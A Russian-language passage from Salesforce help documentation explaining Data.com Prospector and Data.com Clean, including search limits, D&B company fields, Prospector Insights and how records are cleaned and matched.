Почему некоторые записи организаций и компаний D&B используют одинаковые номера D-U-N-S?

Чем отличаются поля «Местоположение организации» и «Тип расположения»?

Почему отображается сообщение «Данная запись не может быть полностью очищена по причине ограниченного
доступа к данным»?

Почему мне пришло сообщение, в котором говорится: «Вы не можете очистить эту запись, потому что у вас
ограниченный доступ к данным, заданный вашим администратором»?

СМ. ТАКЖЕ:

Общие сведения о поисках Data.com

Какпросмотретьполные сведения для результатовпоиска Data.com?

Чтобыгарантироватьбезопасностьданных, сведения, доступныедлярезультатовпоиска, количествокоторыхпревышает
10 страниц, являются неполными.

Чтобы просмотреть полные сведения об организации в результатах поиска, выполните указанные ниже действия.

• Уточните область поиска посредством фильтров поиска в левой части страницы. Отфильтровывание результатов,
которые не являются целью поиска, позволяет сократить количество результатов, но повысить их релевантность.
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Например, при выборе организаций на уровне директора в отделе продаж компании количество результатов
сокращается с 50 страниц до четырех, так как пользователю отображаются только искомые организации.

• Отсортируйтерезультатыпоискадляотображенияцелипоисканапервыхстраницах. Например, сортировка столбца
«Обновлено» позволяет сначала просмотреть недавно обновленные организации.

Послеобнаруженияискомыхорганизацийприобретитенужныеорганизациипутемихдобавленияилиэкспортав систему
SalesforceизData.com. Послеприобретенияидобавленияорганизацийиконтактовпросмотритенужныеполныесведения.

Какимтипомпользователя Data.com я являюсь?

Это легко выяснить. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле
«Быстрый поиск», затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите «Личные
сведения» вполе «Быстрый поиск», затемвыберите «Личныесведения».Поле Тип пользователя Data.com определяет
вас либокакпользователяData.com, либокакпользователя спискаData.com. Пустоеполе указываетнаотсутствиелицензии
Data.com.

Чтобы быстро определить тип пользователяData.com, щелкните значок сведений ( ), расположенный напротив поля.

СМ. ТАКЖЕ:

Как работают типы пользователя, лицензии и ограничения на добавление записей Data.com?

Использование Data.com. Вопросы и ответы

Индивидуальная настройка системы Salesforce

Как улучшитьрезультатыпоискапо Data.com?

Это легко. Воспользуйтесь модификаторами поиска. Чтобы просмотреть примеры, щелкните значок сведений ( ) над
любым полем поиска Data.com. Также рекомендуем сохранять часто выполняемые поиски.

СМ. ТАКЖЕ:

Общие сведения о поисках Data.com

ПочемурезультатыпоискаData.comотображаюткомпании, которыеотсутствуютвпоисковомзапросе?

Результаты поиска по организациям Data.com опираются на название компании, веб-узел родительской компании и
веб-узлыфилиаловродительской компании (приихналичии), поэтомумогут содержать компании, которыефактически
не соответствуюткритериямпоиска. Например, чтобынайтикомпанию Sun Microsystems, введитепоисковыйзапрос Sun
Microsystems или sun.com вполе «Компания или веб-сайт». Приэтомрезультатыпоискаотображаюткомпанию
Oracle Corporation, являющуюся родительской для компании Sun Microsystems.

СМ. ТАКЖЕ:

Общие сведения о поисках Data.com

Использование Data.com. Вопросы и ответы

Какое количество записей Data.comможнодобавить в систему Salesforce?

Введитестроку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт«Пользователи Data.com
Prospector». Найдите собственное имя в разделе «Пользователи Data.com», просмотрите доступное ежемесячное
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ограничениеиколичествозаписей, добавленныхилиэкспортированныхза текущиймесяц. Срокдействияежемесячного
ограничения, установленного администратором, истекает в конце каждого месяца, независимо от использованного
количества записей.

ИмяпользователяData.com List такжеотображается в разделе «ПользователиData.com List». Пользователю, исчерпавшему
предоставленное ежемесячное количество записей, доступно ограничение, являющееся общим со всеми другими
пользователями List ворганизации. ПридостиженииданногоограниченияоднимпользователемData.com List, добавление
записей становится недоступным другим пользователям Data.com List. Срок действия пулов Data.com List составляет один
год с момента их приобретения.

При попытке пакетного добавления записей, превышающего установленное ограничение, отображается сообщение с
указанием оставшегося количества записей. Чтобы добавить дополнительные записи, обратитесь к администратору.

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Какопределитьполя, содержащиеданные Data.com, придобавлении записей CRM из Data.com?

Просмотрите разделы справки, описывающие поля этих объектов. Все поля, которые поддерживают данные Data.com,
отмечены соответствующим образом.

• Поля организаций

• Поля контактов

• Поля интересов

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Чтоопределяет значениеполя «Местоположение организации» в записиорганизации?

Значение «Головной офис/родитель» определяет компанию, которая является юридическим лицом и располагает
филиалами.

Значение «Один офис» определяет компанию, которая является головным офисом, но не располагает филиалами и
может не являться отдельнымюридическим лицом.

Значение «Филиал» определяет компанию, которая является подразделением более крупной организации. Другими
словами, филиал — это компания, принадлежащая головному офису или родительской компании.

СМ. ТАКЖЕ:

Чем отличаются поля «Местоположение организации» и «Тип расположения»?

Использование Data.com. Вопросы и ответы

Почемуполе «Собственность» содержит значение «Личная» дляпубличныхкомпаний?

Поставщик сведений Dun & Bradstreet (D&B) отслеживает информацию о типе собственности только для родительских
или головных компаний. Для филиалов открытого акционерного общества, являющегося родительской или головной
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компанией, значение «Личная» отображаетсядомоментаначалаихсамостоятельнойдеятельности. Крометого, значение
«Личная» отображается в тех случаях, если тип собственности неизвестен.

СМ. ТАКЖЕ:

Что определяет значение поля «Местоположение организации» в записи организации?

Использование Data.com. Вопросы и ответы

Значенияполей «Сотрудники» и «Контакты» в записиорганизациине совпадают. Почему?

Возможные причины перечислены ниже.

• Количество сотрудников доступно только в тех записях, поле «Местоположение организации» которых содержит
значение «Головной офис»/«Родитель». Таким образом, для филиала значение поля «Сотрудники» может быть
равно нулю, а поля «Контакты» другому числу.

• Поле «Сотрудники» взаписяхорганизацийсодержитобщееколичествосотрудниковкомпании, включаявсеотделения
ифилиалы. Тогдакакколичествоконтактовохватываеттолькосотрудниковотдельногоофиса. Так, головнаякомпания,
насчитывающая 5 000 сотрудников во всех офисах, может располагать только 3 000 контактов.

• Общее количество в поле «Сотрудники» извлекается из D&B и обычно не учитывает контрактных работников. Общее
количество в поле «Контакты» и связанные данные извлекаются из сообщества Data.com и обычно учитывают
контрактных работников, использующих действительные корпоративные адреса эл. почты.

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Прииспользовании Data.comполя «Сотрудники» и «Доход» содержатпустоеилинулевое значение.
Почему?

Dun & Bradstreet (D&B) несобираетданныеодоходахдляфилиалов, поэтомусвязанныезаписиорганизацийилиинтересов
содержат пустое поле «Годовой доход», а связанные записи компаний D&B содержат пустое поле «Годовой объем
продаж».

Кроме того, данные о количестве сотрудников собираются регулярно только для головных офисов, поэтому записи
интересовмогут содержать пустое поле «Количество сотрудников», записи организаций — пустое поле «Сотрудники»,
а записи компаний D&B — пустое поле «Количество сотрудников: всего».

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Почемуполя «Годовой доход» и «Количество сотрудников» некоторыхинтересовсодержатпустоеили
нулевое значениепослепримененияфункцииавтоматического заполненияполей Data.com Clean?

Функция Data.com Clean поддерживает более точное географическое сопоставление, поэтому контакты связываются со
своимфактическимрасположением, анерасположениемголовногоофисаорганизации. Интересы, связанныесфилиалами
или отдельными офисами, содержат пустое поле «Годовой доход», так как данные о доходах собираются только для
головныхофисов. Кроме того, записиинтересовмогут содержатьпустоеполе «Количество сотрудников», так как данные
о количестве сотрудников собираются для филиалов и отдельных офисов не регулярно.
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Чтобы выполнить соотнесение данных о доходах и количестве сотрудников между головным офисом ифилиалом или
отдельным офисом, обратитесь к администратору Salesforce.

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Фильтр «Сотрудники» или «Доход», используемыйдляуточнениярезультатовпоискапоорганизациям
иликонтактам, возвращает значительноменьшееколичество записей. Почему?

Dun & Bradstreet (D&B) не собирает данныео доходах и количестве сотрудников дляфилиалови отдельныхофисов. Таким
образом, если фильтр «Доход» использует минимальный диапазон «1», то результаты поиска исключают все записи,
содержащие нулевое значение в поле «Доход». Если фильтр «Доход» использует минимальный диапазон «0», то
результатыпоискаисключаютвсе записи, содержащиепустое значениевполе «Доход». Фильтр «Сотрудники» использует
аналогичный алгоритм работы.

Отфильтрованные результаты поиска содержат все записи с нулевыми или пустыми полями «Доход» или «Сотрудники»
только в том случае, если поле «Минимальное значение» оставлено незаполненным.

СМ. ТАКЖЕ:

Что определяет значение поля «Местоположение организации» в записи организации?

Использование Data.com. Вопросы и ответы

Почемунекоторые записиорганизацийикомпаний D&B используютодинаковыеномера D-U-N-S?

Если компания не располагает филиалами в других странах, то ее глобальное головное подразделение (центральный
офис организации) соответствует локальному головному подразделению (центральныйофис организации в отдельной
стране), поэтому значения в полях «Номер D-U-N-S» совпадают. Определения всех полей D&B см. в разделе «Поля
компаний D&B».

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Чемотличаютсяполя «Местоположение организации» и «Тип расположения»?

Поле «Местоположение организации» доступнов записяхорганизацийибизнес-карточкахорганизацийData.com. Поле
«Тип расположения» доступно в записях компаний D&B. (Записи компаний D&B доступны организациям, которые
приобрели продукт Data.com Premium Prospector.) Оба поля содержат следующие значения: «Один офис», «Головной
офис»/«Родитель» и «Филиал».

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы
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Почемуотображается сообщение «Данная запись не может быть полностью очищена по причине
ограниченного доступа к данным»?

Принеудачномредактированиикакминимумодногополя записиорганизации, контактаилиинтересаданноесообщение
отображается пользователям, выполняющим очистку записи вручную посредством функции Data.com Clean. Поля,
доступные для редактирования, также могут быть очищены.

Чтобы гарантировать возможность редактирования полей Salesforce, изменяемых при очистке записей (включая поля
D&B), обратитесь к администратору. Порядокдействийадминистратораопределяется версиейсистемы Salesforce, которую
использует компания.

• Прииспользованииверсии Contact Manager Edition, Group Edition или Professional Edition убедитесь, чтополяиспользуются
соответствующим макетом страницы.

• При использовании версии Enterprise Edition, Performance Edition или Unlimited Edition убедитесь, что параметрам
безопасности полей задано значение «Доступно».

СМ. ТАКЖЕ:

Поля Salesforce, изменяемые функцией Data.com Clean

Использование Data.com. Вопросы и ответы

Почемумнепришло сообщение, в котором говорится: «Вы не можете очистить эту запись, потому
что у вас ограниченный доступ к данным, заданный вашим администратором»?

Если у вас нет соответствующего доступа к объекту D&B Company, вы увидите это сообщение при использовании
Data.com Clean для очистки учетной записи вручную.

Обратитесь к администратору, чтобы убедиться в наличии прав доступа для чтения объекта D&B Company.
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Ограничения на поиск новых компаний, контактов и интересов в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ниже перечислены некоторые важные ограничения по поиску и добавлению записей
из Data.com.

• В настоящее время система классификации «Категории отраслей Data.com» не
поддерживает подотрасли для отрасли «Власть» ввиду наличия некоторых
ограниченийпосоотнесениюотраслеймеждусистемамиклассификации «Категории
отраслей Data.com» и «Стандартная промышленная классификация».

• По умолчанию каждый пользователь с лицензией Data.com Prospector может
ежемесячнодобавлятьнеболее 300 записей. Данноеколичествоможетбытьизменено.
Неиспользованные записи аннулируются в последний день каждого месяца в
соответствии с часовым поясом организации.

• Каждому пользователю, которому предоставляется доступ к продукту Data.com
Prospector, назначается отдельная лицензия Data.com Prospector.

• При приобретении только продукта Data.com Prospector очистка записей доступна
только пользователям с соответствующими лицензиями.

• При добавлении записей из Data.com годовой доход доступен только в долларах
США. Если «Доллар США» не является активной валютой в вашей организации,
записи, добавленные из Data.com, не будут содержать сведения о годовом доходе.

СМ. ТАКЖЕ:

Рекомендации по поиску организаций, контактов и интересов в Salesforce

Получение необходимых сведений по отрасли, финансам и конкурентам по вашим организациям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для извлечения подробных
сведений о поиске
потенциальных клиентов
Data.com для организации:
• «Чтение» для

организаций

Требуются подробные сведения о деятельности организаций? Нажмите кнопку
«Подробные сведения о поиске потенциальных клиентов» на странице сведений об
организации для извлечения данных о деятельности и финансах потенциальных
клиентов, а также сведений о конкурентах и отраслях, — прямо из Data.com в режиме
реального времени.

Функция «Подробные сведения о поиске потенциальных клиентов» доступна только
при наличии лицензии Data.com Corporate Prospector или Data.com Premium Prospector.
Подробные сведения доступны для организаций, импортированных или очищенных
посредством Data.com.

Прежде чем начать работу, убедитесь, что кнопка «Подробные сведения о поиске
потенциальных клиентов» добавлена администраторомвмакет страницыорганизаций.

1. Откройте страницу сведенийоборганизациидлянужногопотенциальногоклиента.

2. Нажмите кнопку «Подробные сведения о поиске потенциальных клиентов».

Принажатиикнопки«Подробныесведенияопоискепотенциальныхклиентов»
дляорганизации, котораянебылаимпортированаилиочищенапосредствомData.com,
отображается уведомление о необходимости очистки организации.

СМ. ТАКЖЕ:

Описание подробных сведений о поиске потенциальных клиентов
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Описание подробных сведений о поиске потенциальных клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Функция «ПодробныесведенияопоискепотенциальныхклиентовData.com» объединяет
сведения о компаниях D&B и отраслевую аналитику в экспресс-снимок, который может
использоваться для начала обстоятельныхпереговоров с потенциальнымии текущими
клиентами.

Функция «Подробные сведения о поиске потенциальных клиентов» доступна только
при наличии лицензии Data.com Corporate Prospector или Data.com Premium Prospector.
Подробные сведения доступны для организаций, импортированных или очищенных
посредством Data.com (только для просмотра).

СведенияКатегория
подробных
сведений

Сведения о
деятельности

• Описание компании, предоставленное компанией Hoover’s,
Inc., являющейся филиалом Dun and Bradstreet

• Адрес, телефон и веб-сайт компании

• Тип расположения (головной офис или филиал)

• Размеррасположенияв квадратныхфутах (фактическоеили
предполагаемое измерение)

• Ответственность за местоположение (собственность или
аренда)

• Торговый стиль (при его наличии)

• Год основания компании

Сведения о
финансах

• Окончание финансового года (по месяцу)

• Фондовая биржа и биржевой символ

• Индикатор индекса Standard & Poor’s 500

• Место в Fortune 1000

• Риск просрочки платежа (вероятность того, что данная
компания может задержать платеж более чем на 90 дней в
течение следующих 12 месяцев)*

Важное замечание: Эту информацию разрешается
использовать только с целью предварительного
маркетинга.

• Годовой доход за последний и предыдущий год, а также
процент роста

• Чистая прибыль за последний год*

• Количество сотрудников за последний и предыдущий год,
а также процент роста

Контакты из
Data.com

• Графическое представление распространения контактов
компании
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СведенияКатегория подробных
сведений

• Ссылки на контакты компании по отделу (выбранная ссылка открывает страницу
поиска контактов Data.com)

Популярные конкуренты • Ссылки на веб-сайты популярных конкурентов компании

• Основные конкуренты (по доходу)

Сведения об отрасли • Классификации основных кодов NAICS и SIC

• Панельвыбораотраслидляотраслей, связанныхс классификациямиосновныхкодов
NAICS и SIC

• Примеры вопросов для подготовки к вызову

• Анализ конкурентной среды* (общие сведения о конкурентной среде отрасли)

• Отраслевые тренды* и отраслевые возможности* (влияние событий и проблем на
отраслевую деятельность)

• Ссылки на выбранные отраслевые веб-сайты

*Доступно только при наличии лицензии Premium.

Доступ к важным подробным сведениям на странице сведений об организации

ВЕРСИИ

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Нажмите кнопку «Показать подробные сведения» на странице сведений об
организации, чтобыполучитьдоступк важнойинформацииовыбраннойорганизации.
Эта функция позволяет быстро находить сведения о бизнесе ифинансах организации,
получать представление о конкурентной обстановке, просматривать важные данные об
отраслиифинансах, исследоватьиерархическиеотношениядляорганизации. Есливсе
важные сведения будут доступны в нужное время, конвейер продаж будет всегда полон.

АнализподробныхсведенийпредоставляетпользователямData.com Prospectorогромный
объем информации о выбранной организации.

На вкладке «Сведения» содержатся подробные сведения о выбранной организации.
Получайте важные финансовые сведения об организации, чтобы оценить ее финансовое состояние. Просматривайте
сведения об отрасли организации и ее конкурентах, чтобы сформировать правильную стратегию продаж. Добавляйте
контакты из списка, отфильтрованного по уровнюили отделу, чтобы начинать важные переговоры с нужными людьми.

Перейдите на вкладку «Иерархия компаний», чтобы изучить взаимосвязи вида «родительская-дочерняя» с другими
связанными компаниями. Добавьте организацию в свою организацию непосредственно в представлении иерархии
компаний.
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Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ФункцияData.com Cleanподдерживаетразныеспособыобновления CRM-записейSalesforce
засчетиспользованиясведенийокомпаниях D&B имиллионовобщедоступныхконтактов.
ПродуктData.com Clean доступен в двух версиях: Corporate Clean и Premium Clean. Данные
версии отличаются полями D&B, доступными при очистке записей организаций или
интересов.

Функция очистки сопоставляет записи Salesforce с записями Data.com и создает связь
между записью Salesforce и соответствующей записью Data.com. Кроме того, функция
очистки предоставляет сведения о статусе очистки для организаций, контактов и
интересов Salesforce на странице 1378.

Ниже перечислены действия, доступные пользователям при наличии лицензии на
функцию очистки.

• ВручнуюсравниватьотдельныезаписиSalesforceссовпадениямиData.comиобновлять
отдельные поля записей Salesforce.

• Выбирать записи организаций, контактов и интересов из списка и выполнять их пакетную очистку.

• Вручную обновлять записи компаний D&B, связанные с организациями (только Premium Clean).

Организация также имеет следующие возможности.

• Настройкаизапускзаданийавтоматическойочистки, которыепомечаютразличиявполяхзаписейSalesforce, заполняют
пустые поля и перезаписывают значения полей.

• Использование Data.com Match API для создания настраиваемых решений для определенных бизнес-целей, таких как
очистка созданных интересов и очистка настраиваемых объектов.

Функция Data.com Clean не поддерживает организации-лица.

ФункцияData.com Clean доступна в двух версиях: Corporate Clean и Premium Clean. Данные версии отличаются полями D&B,
доступными при ручной или автоматической очистке записей организаций или интересов.

Поля D&BВерсия функции Data.com Clean

Основной набор полей D&B.Data.com Corporate Clean

Основной набор полей D&B, а также поле «Компания
D&B». Данное поле ссылается на связанную запись

Data.com Premium Clean

компании D&B, содержащуюболее 70 полей D&B, доступных
навкладке «Компании D&B». ЕслизаписьSalesforce содержит
пустое поле «Компания D&B», то при очистке записи
система создает ссылку.

Прим.:

• Лицензии Data.com Prospector или Data.com Clean Corporate не могут быть приобретены организациями, которые
уже используют лицензии Data.com Prospector или Data.com Clean Premium. Чтобы купить лицензии Data.com
Corporate, рекомендуем преобразовать текущие лицензии Data.com Premium.

• Лицензии Data.com Prospector или Data.com Clean Premium не могут быть приобретены организациями, которые
уже используют лицензии Data.com Prospector или Data.com Clean Corporate. Чтобы купить лицензии Data.com
Premium, рекомендуем преобразовать текущие лицензии Data.com Corporate.
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• Количество лицензий на функцию Data.com Clean должно точно соответствовать количеству мест Sales Cloud и
Service Cloud.

Обеспечение полноты и актуальности записей Salesforce

Эффективностьвашегобизнесаопределяетсякачествомиспользуемыхданных. Тратьтеменьшевременинаобновление
данных и больше — на развитие бизнеса с помощьюфункции Data.com Clean. Чтобы гарантировать точность и
актуальность данных Salesforce, рекомендуется использовать ценные сведения о компаниях из базы данных D&B и
миллионов общедоступных контактов.

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Очистка отдельных записей Salesforce

Очистка списка записей Salesforce

Настройка функции Data.com Clean

Проверка включения функции очистки Data.com

Data.com Social Key

Обеспечение полноты и актуальности записей Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Эффективностьвашегобизнесаопределяется качествомиспользуемыхданных. Тратьте
меньше времени на обновление данных и больше — на развитие бизнеса с помощью
функцииData.com Clean. Чтобыгарантировать точностьиактуальностьданных Salesforce,
рекомендуется использовать ценные сведения о компаниях из базы данных D&B и
миллионов общедоступных контактов.

Очистка отдельных записей Salesforce

Рекомендуем использовать функцию очистки Data.com для обновления записей
организаций, контактов и интересов вручную. Ручная очистка позволяет
пользователям выполнять поэтапное сравнение отдельной записи Salesforce с
совпадающей записью Data.com и обновлять отдельные поля записи Salesforce.

Очистка списка записей Salesforce

Функция Data.com Clean позволяет выбирать записи организаций, контактов или
интересов и выполнять их пакетную очистку прямо из списка. Очистка записей из списка доступна только при
наличии лицензии на функцию Data.com Clean.

Поля Salesforce, изменяемые функцией Data.com Clean

Что означает «Статус очистки» записи?

Поле «Статус очистки» в записях организации, контакта иинтереса указывает способ сопоставления данных записи
с даннымивData.com. Чтобыпросмотреть дополнительные сведенияо статусеилиобновить статус, щелкните значок
напротив статуса. В зависимости от статуса, некоторые записи могут быть очищеныпрямо в полe «Статус очистки».

Общие сведения о способах сопоставления записей Salesforce и Data.com

При использовании Data.com для очистки сведений об организациях, контактах и интересах Salesforce рекомендуем
изучить способы сравнения и сопоставления записей Salesforce с записями Data.com.
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Статусы очистки Data.com Clean

При использовании продукта Data.com Prospector или функции Data.com Clean записи организаций, контактов и
интересов Salesforce содержатполе «Статус очистки», определяющеестатусочистки записипосравнениюсData.com.

Уровни совпадения D&B®

При использовании службы сопоставления DUNSRight™ для очистки записей уровень совпадения D&B позволяет
определять наиболее подходящие записи при выборе совпадения.

Сведения об очистке записей посредством функции Data.com Clean

Очистка записи инициирует сравнение данных Salesforce с даннымиData.com. Прииспользовании данного процесса
требуется иметь представление о ряде важных понятий, включая выбор совпадающих записей и отметка записей
Data.com в качестве неверных.
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Очистка отдельных записей Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки записей
организаций:
• «Редактирование» для

организаций

Для очистки записей
контактов:
• «Редактирование» для

контактов

Для очистки записей
интересов:
• «Редактирование» для

интересов

Рекомендуем использовать функцию очистки Data.com для обновления записей
организаций, контактовиинтересоввручную. Ручнаяочисткапозволяетпользователям
выполнять поэтапное сравнение отдельной записи Salesforce с совпадающей записью
Data.com и обновлять отдельные поля записи Salesforce.

ФункцияData.com Clean поддерживает разные способы очистки записей. Пользователи
могут выполнять ручную очистку отдельных записей или пакетную очистку записей в
списковомпредставлении. Крометого, организацияможетнастраиватьавтоматические
задания по очистке пакетов записей. Функция ручной очистки применяется ко всем
организациям, контактам и интересам, доступным в системе Salesforce, а не только к
записям, добавленным из Data.com ранее. Данная функция доступна организациям при
условииприобретенияфункцииData.com CleanивсемпользователямSalesforce, имеющим
лицензию Data.com Prospector.

Прим.: Если организации очищаются с помощью продукта Data.com Prospector
илифункцииData.com Clean, тоData.comежемесячнопреобразуетвалюты, отличные
от USD, в USD, чтоможет вызватьизменение значенийполя «Годовой доход». Если
организация использует валюту, отличную от USD, то поле «Годовой доход»
пропускается при определении статуса очистки записи (поэтому значение поля
«Статус очистки» не меняется). Кроме того, значение поля «Годовой доход»
удаляется из записей организаций и со страницы сравнения.

1. Откройте запись и проверьте поле «Статус очистки». При необходимости
пользователимогуточищатьвручнуюдажезаписисостатусом «Синхронизировано».
А при использовании службы сопоставления DUNSRight запись может быть
сопоставлена с другой записью Data.com.

Совет: Поле «Статус очистки» позволяетполучатьдополнительныесведения
о статусе (например, поля, значения которых отличаются от Data.com), а затем
очищать запись. Щелкните значок ( ) и выполните действия, указанные во
всплывающем окне.

2. Чтобы открыть страницу сравнения для сравнения записи Salesforce с записью
Data.com, нажмите кнопку «Очистить».

3. Сравните две записи. Значение поля Data.com, соответствующее значению поля в
записи Salesforce, помечается галочкой.

4. Установите флажок напротив любого нужного значения Data.com.

5. Чтобывыбратьдругуюзапись Data.com принеправильномсопоставлении DUNSRight,
щелкните ссылку «Неверное совпадение?».

6. По завершении нажмите кнопку «Сохранить» (даже в том случае, если данные
Data.com не принимались).
Поле «Статус очистки» отображает текущийстатус записи, а еговременнаяотметкаобновляетсяприкаждомдействии
пользователя.

Прим.: Принажатиикнопки «Отмена» запись Salesforceнеобновляется, однакоприобнаружениисовпадающей
записи Data.com поля «Статус очистки» и «Ключ Data.com» могут поменять свои значения. Эти два поля
всегда содержат самые точные совпадения изData.com в отношениипоследних процессов очистки, независимо
от метода, использованного для очистки записи.
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ПрииспользованиипродуктаData.com Premium CleanилиData.com Premium Prospector система Salesforce создает запись
компании D&B (если доступно) в том случае, если очищаемая запись организации или интереса все еще не связана с
такойзаписью, ивыполняетих связываниепринажатиикнопки «Сохранить». Приследующемпросмотре страницы
сравнения связанная запись обозначается номером D-U-N-S в поле «Связанная запись компании D&B».

СМ. ТАКЖЕ:

Быстрое сравнение данных Salesforce и Data.com

Статусы очистки Data.com Clean

Поля Salesforce, изменяемые функцией Data.com Clean

Очистка списка записей Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Редактирование» для организацийДля очистки записей организаций:

«Редактирование» для контактовДля очистки записей контактов:

«Редактирование» для интересовДля очистки записей интересов:

«Чтение» для типа записи, добавленного в
список

Для создания настраиваемых списковых
представлений:

«Управление общедоступными списковыми
представлениями»

Для создания, редактирования и удаления
общедоступных списковых представлений:

Функция Data.com Clean позволяет выбирать записи организаций, контактов или интересов и выполнять их пакетную
очисткупрямоиз списка. Очистка записейиз спискадоступна толькоприналичиилицензиинафункциюData.com Clean.

ФункцияData.com Cleanподдерживаетразные способыочистки записей. Пользователимогут выполнятьручнуюочистку
отдельныхзаписейилипакетнуюочисткузаписейвсписковомпредставлении. Крометого, организацияможетнастраивать
автоматические задания по очистке пакетов записей.

Функция очистки из списка применяется ко всем записям организаций, контактов и интересов, доступным в системе
Salesforce, ане только к записям, добавленнымизData.comранее. Чтобыпросмотреть списокдоступных записей, выберите
нужное представление на вкладке «Организации», «Контакты» или «Интересы». Отображаемые результаты называются
списковымпредставлением. Затем выберитенужные записи в списковомпредставлении. Остальнуюработуможнодоверить
функции Data.com Clean.

Прим.: При очистке записей из стандартного спискового представления убедитесь, что поле «Статус очистки»
добавлено системным администратором в используемое представление. При очистке записей из настраиваемого
спискового представления добавьте поле «Статус очистки» самостоятельно. Приодновременномиспользовании
функцийData.com Social Keyи «Социальныеорганизациииконтакты» рекомендуемсамостоятельноилиспомощью
администратора добавить поля для нужных социальных сетей (LinkedIn, Twitter или Facebook) в списковые
представления контактов.

1. Откройте вкладку («Организации», «Контакты» или «Интересы») для нужного объекта.

2. Выберите нужное представление из раскрывающегося списка и щелкните ссылку «Правка».

3. Выберите нужные записи из списка и нажмите кнопку «Очистить».
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4. Выберите один из указанных ниже параметров очистки.

• Параметр «Обновить статус очистки» обновляет поле «Статус очистки» каждой записи. При использовании
функции Social Key система дополняет запись двойными указателями на социальные сети (при их наличии).

• Параметр «Обновить статус очистки и заполнить пустые поля» обновляет поле «Статус очистки» каждой
записи и заполняет пустые поля данными Data.com. При использованиифункции Social Key система дополняет
запись двойными указателями на социальные сети (при их наличии).

5. Нажмите кнопку «Обновить».
Данное действие инициирует отображение сообщения-подтверждения, позволяющего просматривать количество
сопоставленных и обновленных записей, а также сведения о наличии ошибок. При использованиифункции Social
Key с контактами и интересами данное сообщение также содержит сведения о добавлении двойных указателей на
социальные сети.

6. Просмотрите изменения, внесенные в записи.

При выборе параметра очистки, позволяющего только обновить поле «Статус очистки», и обнаружении записей
со статусом очистки «Отличается» рекомендуем очистить каждую запись вручную на соответствующей странице
сведений.

СМ. ТАКЖЕ:

Статусы очистки Data.com Clean

Создание настраиваемых списковых представлений в Salesforce Classic

Поля Salesforce, изменяемые функцией Data.com Clean

Поля Salesforce, изменяемые функцией Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Прим.:

• Если организация использует настраиваемые соотнесения полей Data.com и
Salesforce, то данный список может содержать другие поля.

• При наличии как минимум одного нередактируемого поля организации,
контакта или интереса система может отображать следующее сообщение:
«Данная запись не может быть полностью очищена по причине
ограниченного доступа к данным объекта» или «Обновление доступно
только для некоторых отображающихся здесь полей по причине
ограниченного доступа к полям объекта "Организация"». Приотображении
подобного сообщения обратитесь за помощью к администратору.

При использованиифункции Data.com Clean для ручной или автоматической очистки
записи Salesforceполя записиобновляются даннымиData.com. Нижеперечисленыполя,
подлежащие обновлению.

Поля организаций

ОтрасльИмя организации

Код NAICSМестоположение организации

Описание NAICSГодовой доход
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ОтветственностьАдрес для счета

Тел.Статус очистки

Код SICКомпания D&B  (только Premium Prospector и очистка)

Описание SICКлюч Data.com

Биржевой символНомер D-U-N-S

Торговый стильОписание

Веб-сайтСотрудники

Год началаФакс

Поля контактов

Почтовый адресСтатус очистки

Тел.Ключ Data.com

ДолжностьЭл. почта

Имя

Поля интересов

Эл. почтаАдрес

ОтрасльГодовой доход

ИмяСтатус очистки

Количество сотрудниковКомпания

Тел.Номер D-U-N-S компании

ДолжностьКомпания D&B  (только Premium Prospector и очистка)

Ключ Data.com

СМ. ТАКЖЕ:

Почему отображается сообщение «Данная запись не может быть полностью очищена по причине ограниченного
доступа к данным»?

Очистка отдельных записей Salesforce
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Что означает «Статус очистки» записи?

ВЕРСИИ

Доступно в версиях:
